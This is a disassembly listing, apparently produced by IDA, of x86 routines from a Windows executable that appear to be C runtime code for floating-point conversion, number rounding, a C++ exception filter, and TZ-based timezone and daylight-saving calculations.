loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx

loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2

loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------

loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx

loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------

loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h

loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------

loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx

loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax

loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------

loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436610
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436628
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------

loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx

loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]

loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A

loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------

loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]

loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------

loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h

loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4CDB88
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_4CDBB0, eax
		add	esp, 18h
		movsx	eax, byte_4CDB8A
		mov	dword_4CDBA8, eax
		pop	edi
		movsx	eax, word_4CDB88
		mov	dword_4CDBAC, eax
		mov	dword_4CDBB4, offset dword_4CDB8C
		mov	eax, offset dword_4CDBA8
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------

loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------

loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:00435FE8o
					; ___:00436AB0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------

loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_4CDBB8
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_4CDBB8
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------

loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax

loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 41E89000h, 0A3021BF7h, 4CDBB8h, 0B835FFC3h
					; DATA XREF: ___:00426024o
		dd 90004CDBh, 1BF72FE8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25D0B70h
		nop
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi

loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2870A02h
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi

loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25D0B03h
		nop
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi

loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC

loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_4CDC78, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_4CDC78

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4CDBC0, ebp
		mov	dword_4366E8, ebx
		mov	dword_4366D8, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_4CDBC8
		call	near ptr 2820000h
		nop
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_4CDBC8
		mov	ecx, dword_4CDC1C
		imul	eax, 3Ch
		cmp	word_4CDC0E, bp
		push	1
		pop	edx
		mov	dword_436640, eax
		mov	dword_4CDBC0, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_436640, eax

loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_4CDC62, bp
		jz	short loc_4209E9
		mov	eax, dword_4CDC70
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_436644, edx
		imul	eax, 3Ch
		mov	dword_436648, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------

loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_436644, ebp
		mov	dword_436648, ebp

loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4366CC
		push	ebx
		push	offset dword_4CDBCC
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_4366CC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------

loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_4366CC
		and	byte ptr [eax],	0

loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4366D0
		push	ebx
		push	offset dword_4CDC20
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_4366D0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_4CDC74
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6

loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_4CDC74
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4CDC74, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_4366CC
		call	sub_418C10
		mov	eax, off_4366CC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi

loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_436640, ecx

loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17

loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------

loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx

loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------

loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx

loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------

loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_436640, ecx

loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_436644, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_4366D0
		call	sub_418C10
		mov	eax, off_4366D0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------

loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_4366D0
		and	byte ptr [eax],	0

loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436644, edi
		jnz	short loc_420BC0

loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------

loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4366D8
		jnz	short loc_420BDE
		cmp	eax, dword_4366E8
		jz	loc_420CE0

loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_4CDBC0, edi
		jz	loc_420CB6
		movzx	ecx, word_4CDC6E
		push	ecx
		cmp	word_4CDC60, di
		movzx	ecx, word_4CDC6C
		push	ecx
		movzx	ecx, word_4CDC6A
		push	ecx
		movzx	ecx, word_4CDC68
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_4CDC64
		push	edi
		push	ecx
		movzx	ecx, word_4CDC66
		push	ecx
		movzx	ecx, word_4CDC62
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------

loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_4CDC66
		push	ecx
		push	edi
		movzx	ecx, word_4CDC62
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_4CDC1A
		add	esp, 2Ch
		cmp	word_4CDC0C, di
		push	eax
		movzx	eax, word_4CDC18
		push	eax
		movzx	eax, word_4CDC16
		push	eax
		movzx	eax, word_4CDC14
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_4CDC10
		push	edi
		push	eax
		movzx	eax, word_4CDC12
		push	eax
		movzx	eax, word_4CDC0E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_4CDC12
		push	eax
		push	edi
		movzx	eax, word_4CDC0E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------

loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h

loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_4366DC
		mov	eax, dword_4366EC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24

loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx

loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9

loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_4366E0
		setnl	cl

loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------

loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4366F0
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_4366F0[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------

loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_436724[esi]

loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------

loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_4366F4[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------

loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_436728[esi]

loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------

loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_4366F0[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------

loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_436724[eax*4]

loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]

loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_4366DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4366D8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366E0, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------

loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4366EC, ecx
		imul	eax, 3Ch
